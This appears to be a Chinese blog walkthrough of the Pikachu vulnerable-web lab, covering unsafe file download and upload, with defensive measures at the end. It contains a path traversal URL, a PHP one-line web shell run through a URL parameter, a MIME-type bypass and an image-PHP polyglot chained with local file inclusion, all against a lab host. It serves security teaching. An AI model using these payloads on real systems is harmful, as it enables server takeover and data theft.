zoukankan      html  css  js  c++  java
  • pikachu——Unsafe Filedownload Fileupload(不安全的文件下载和上传)

    不安全的文件下载

    概述:

           文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。

           此时如果攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。

    我们来到pikachu平台,我们随便选一个右击在新的标签页中打开。

    我们发现其实就是相当于把一个文件名传到后端,后台去找这个文件,然后响应输出到前端。

     

     是否可以更改filename的值来获取到后台其他的文件,我们可以试一下。我们发现可以

     

     测试文件下载漏洞时,我们可以用目录遍历的方式,http://192.168.35.132/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/1.txt

     防护措施:

    1. 对传入的文件名进行严格的过滤和限定

    2. 对文件下载的目录进行严格的过滤

    不安全的文件上传

    概述:

    很多 Web 站点都有文件上传的接口,比如:注册时上传头像图片(比如jpg,png,gif等)、上传文件附件(doc,xls等)。

    而在后台开发时,并没有对上传的文件进行安全考虑,或者采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件(如:一句话木马)

    从而通过对该恶意文件的访问来控制整个 Web 后台

    测试流程:

    1. 对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等)

    2 尝试上传不同类型的 “ 恶意 ” 文件,比如 xx.php 文件,分析结果

    3. 查看 html 源码,看是否通过 js 在前端做了限制,可以绕过

    4. 尝试使用不同方式进行绕过:黑白名单绕过 / MIME类型绕过 / 目录0x00截断绕过等

    5. 猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试

    客户端check:

    我们发现这里只允许我们上传图片。

     我们看一下源代码发现:当 input 标签的状态发生改变时,就会调用 checkFileExt(),这个函数会判断文件的后缀是否在 jpg、png 和 gif 中,是这些后缀才运行上传。

     但是前端做的限制只是辅助作用,是可以绕过的,比如直接删掉 onchange 中的内容

     然后我们上传我们准备的一句话木马——1.php文件,内容是:<?php system($_GET[qy]);?>

     构造url,访问我们的一句话木马文件,获取主机IP地址。也可以使用中国菜刀进行连接访问

     http://192.168.35.132/pikachu/vul/unsafeupload/uploads/1.php/?qy=ipconfig

    服务端check:

    MIME

    MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

    每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的 MIME 类型,比如:

    1. 超文本标记语言:.html,.html text.html

    2. 普通文件:.txt text/plain

    3. RTF文件:.rtf application/rtf

    4. GIF图形:.gif image/gif

    5. JPEG图形:.jpeg,.jpg image/jpeg

    $_FILES()函数

    它从浏览器的HTTP头里获取 Content-Type ,这个 Content-Type 前端用户是可以控制的

    通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件

    第一个参数是表单的 input name,第二个下标可以是 “name”,“type”,“size”,“tmp_name” 或 “error”,就像这样:

    1. $_FILES['file']['name']:被上传文件的名称

    2. $_FILES['file']['type']:被上传文件的类型

    3. $_FILES['file']['size']:被上传文件的大小

    4. $_FILES['file']['tmp_name']:存储在服务器的文件的临时副本的名称

    5. $_FILES['file']['error']:由文件上传导致的错误代码

    这里我们上传一个php文件时候,会报错。(我们改下名字,和里面qy换成了x)

      

     抓包,修改头文件,改成image/png

     

    我们可以发现上传成功了,可以再去我们的目录再验证一番。

     

     

    getimagesize() 类型验证:

    getimagesize() 返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。

    它读取目标文件的 16 进制的头几个字符串,看符不符合图片要求,固定的图片文件前面几个字符串是一样的。

    但是图片头可以被伪造,因此还是可以被绕过。。

    我们可以制作一张木马图片,首先我们准备一张图片和一个php文件,在文件里写入:<?php phpinfo();?>

    在命令窗口执行:copy /b 3.png+3.php qy.png

    要记得在文件中插入时区函数:date_default_timezone_set("PRC");

     

     然后上传这个qy.png文件,我们发现上传成功了。

     但是我们访问这个图片,恶意代码是不会被执行的。我们可以结合本地文件包含漏洞进一步利用,猜测上传图片所在的位置:

    http://192.168.35.132/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2020/03/23/6510905e787503c841f035727890.png&submit=Submit+Query

    这样就拿到了数据了。

     

    防范措施

    一、不要在前端使用 JS 实施上传限制策略

    二、通过服务端对上传文件进行限制:

    1. 进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性

    2. 对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)

    3. 对服务器端上传的目录进行权限控制(比如只读),限制执行权限带来的危害

  • 相关阅读:
    数据库中的Convert
    xml Data Type Methods in sql server
    WITH common_table_expression (Transact-SQL)
    NuGet配置代理
    SQL Source Control
    3线-8线译码器
    git commit template
    PowerShell中和服务相关的命令
    how to backup and restore database of SQL Server
    上升时间最长的序列
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12551017.html
Copyright © 2011-2022 走看看